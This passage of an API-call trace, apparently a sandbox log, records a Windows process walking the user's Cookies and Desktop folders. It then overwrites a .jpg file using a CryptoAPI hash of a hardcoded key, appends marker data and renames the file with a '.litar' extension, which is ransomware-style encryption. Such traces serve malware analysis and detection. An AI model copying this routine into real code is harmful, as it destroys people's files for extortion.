lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.071] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.071] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.071] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.071] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.071] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.071] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.072] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.072] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.072] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.072] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.072] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.072] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.072] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.072] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.072] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.072] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.072] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.072] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.072] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.072] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.072] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.072] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.072] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.073] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.073] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.073] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.073] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.073] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.073] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.073] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.073] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.073] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.073] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.073] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.073] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.073] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.073] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.073] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\") returned="Cookies\\" [0125.073] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0125.073] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042148 [0125.073] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.073] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0125.073] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037fd0 [0125.073] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0125.073] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0125.073] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042148 | out: hHeap=0x5c0000) returned 1 [0125.073] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0125.073] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0125.073] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0125.073] PathFindFileNameW (pszPath="") returned="" [0125.073] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.073] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0xffffffff [0125.074] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.074] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0125.074] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f448 | out: hHeap=0x5c0000) returned 1 [0125.074] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0125.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f448 [0125.074] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0125.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.074] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.074] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.074] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.074] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.074] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.074] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.074] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.074] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.074] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.074] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.074] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.074] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.074] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0125.075] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.075] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.075] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.075] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.075] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.075] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.075] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.075] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.075] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.075] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.075] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0125.075] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0125.075] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0125.075] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0125.075] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0125.075] PathFindFileNameW (pszPath="") returned="" [0125.075] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5948bb70, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x5948bb70, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0125.075] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5948bb70, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x5948bb70, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.075] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe322f2b0, ftCreationTime.dwHighDateTime=0x1d4cb69, ftLastAccessTime.dwLowDateTime=0x21c29e50, ftLastAccessTime.dwHighDateTime=0x1d4c7f3, ftLastWriteTime.dwLowDateTime=0x21c29e50, ftLastWriteTime.dwHighDateTime=0x1d4c7f3, nFileSizeHigh=0x0, nFileSizeLow=0x5cd4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0N28733.jpg", cAlternateFileName="")) returned 1 [0125.075] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0N28733.jpg") returned=".jpg" [0125.075] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0N28733.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0n28733.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.076] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=23764) returned 1 [0125.076] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.077] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x5cae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.077] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.078] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x5cd4, lpOverlapped=0x0) returned 1 [0125.078] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.078] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.078] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.078] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0125.079] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.079] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.079] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.079] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.079] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.079] GetLastError () returned 0x0 [0125.079] SetLastError (dwErrCode=0x0) [0125.079] GetLastError () returned 0x0 [0125.079] SetLastError (dwErrCode=0x0) [0125.080] GetLastError () returned 0x0 [0125.080] SetLastError (dwErrCode=0x0) [0125.080] GetLastError () returned 0x0 [0125.080] SetLastError (dwErrCode=0x0) [0125.080] GetLastError () returned 0x0 [0125.080] SetLastError (dwErrCode=0x0) [0125.080] GetLastError () returned 0x0 [0125.080] SetLastError (dwErrCode=0x0) [0125.080] GetLastError () returned 0x0 [0125.080] SetLastError (dwErrCode=0x0) [0125.080] GetLastError () returned 0x0 [0125.080] SetLastError (dwErrCode=0x0) [0125.080] GetLastError () returned 0x0 [0125.080] SetLastError (dwErrCode=0x0) [0125.080] GetLastError () returned 0x0 [0125.080] SetLastError (dwErrCode=0x0) [0125.080] GetLastError () returned 0x0 [0125.080] SetLastError (dwErrCode=0x0) [0125.080] GetLastError () returned 0x0 [0125.080] SetLastError (dwErrCode=0x0) [0125.080] GetLastError () returned 0x0 [0125.080] SetLastError (dwErrCode=0x0) [0125.080] GetLastError () returned 0x0 [0125.080] SetLastError (dwErrCode=0x0) [0125.080] GetLastError () returned 0x0 [0125.080] SetLastError (dwErrCode=0x0) [0125.080] GetLastError () returned 0x0 [0125.080] SetLastError (dwErrCode=0x0) [0125.080] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0125.081] GetLastError () returned 0x0 [0125.081] SetLastError (dwErrCode=0x0) [0125.081] GetLastError () returned 0x0 [0125.081] SetLastError (dwErrCode=0x0) [0125.081] GetLastError () returned 0x0 [0125.081] SetLastError (dwErrCode=0x0) [0125.081] GetLastError () returned 0x0 [0125.081] SetLastError (dwErrCode=0x0) [0125.081] GetLastError () returned 0x0 [0125.081] SetLastError (dwErrCode=0x0) [0125.081] GetLastError () returned 0x0 [0125.081] SetLastError (dwErrCode=0x0) [0125.081] GetLastError () returned 0x0 [0125.081] SetLastError (dwErrCode=0x0) [0125.081] GetLastError () returned 0x0 [0125.081] SetLastError (dwErrCode=0x0) [0125.081] GetLastError () returned 0x0 [0125.081] SetLastError (dwErrCode=0x0) [0125.081] GetLastError () returned 0x0 [0125.081] SetLastError (dwErrCode=0x0) [0125.081] GetLastError () returned 0x0 [0125.081] SetLastError (dwErrCode=0x0) [0125.081] GetLastError () returned 0x0 [0125.081] SetLastError (dwErrCode=0x0) [0125.081] GetLastError () returned 0x0 [0125.081] SetLastError (dwErrCode=0x0) [0125.081] GetLastError () returned 0x0 [0125.081] SetLastError (dwErrCode=0x0) [0125.082] GetLastError () returned 0x0 [0125.082] SetLastError (dwErrCode=0x0) [0125.082] GetLastError () returned 0x0 [0125.082] SetLastError (dwErrCode=0x0) [0125.082] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.082] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0125.082] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3044390 | out: hHeap=0x5c0000) returned 1 [0125.082] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.082] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0125.082] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.082] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x5cd0) returned 0x30fa0b0 [0125.082] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.082] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.082] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x5ccf, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x5ccf, lpOverlapped=0x0) returned 1 [0125.082] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.082] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x5cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.082] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.082] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x3055af0 [0125.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3055af0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.082] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0125.082] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.083] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.083] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.083] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.083] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.083] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.083] CloseHandle (hObject=0x624) returned 1 [0125.084] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x303ecc0 [0125.084] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x870) returned 0x30fa0b0 [0125.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303ecc0 | out: hHeap=0x5c0000) returned 1 [0125.084] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0N28733.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0n28733.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0N28733.jpg.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0n28733.jpg.litar")) returned 1 [0125.085] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.085] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.086] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6ad610 | out: hHeap=0x5c0000) returned 1 [0125.086] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc599370, ftCreationTime.dwHighDateTime=0x1d4c931, ftLastAccessTime.dwLowDateTime=0x27c8d980, ftLastAccessTime.dwHighDateTime=0x1d4cb55, ftLastWriteTime.dwLowDateTime=0x27c8d980, ftLastWriteTime.dwHighDateTime=0x1d4cb55, nFileSizeHigh=0x0, nFileSizeLow=0xa783, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2_-YQaqX40ls7kZnQI.png", cAlternateFileName="2_-YQA~1.PNG")) returned 1 [0125.086] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.086] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0125.086] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.086] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2_-YQaqX40ls7kZnQI.png") returned=".png" [0125.086] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2_-YQaqX40ls7kZnQI.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2_-yqaqx40ls7kznqi.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.086] 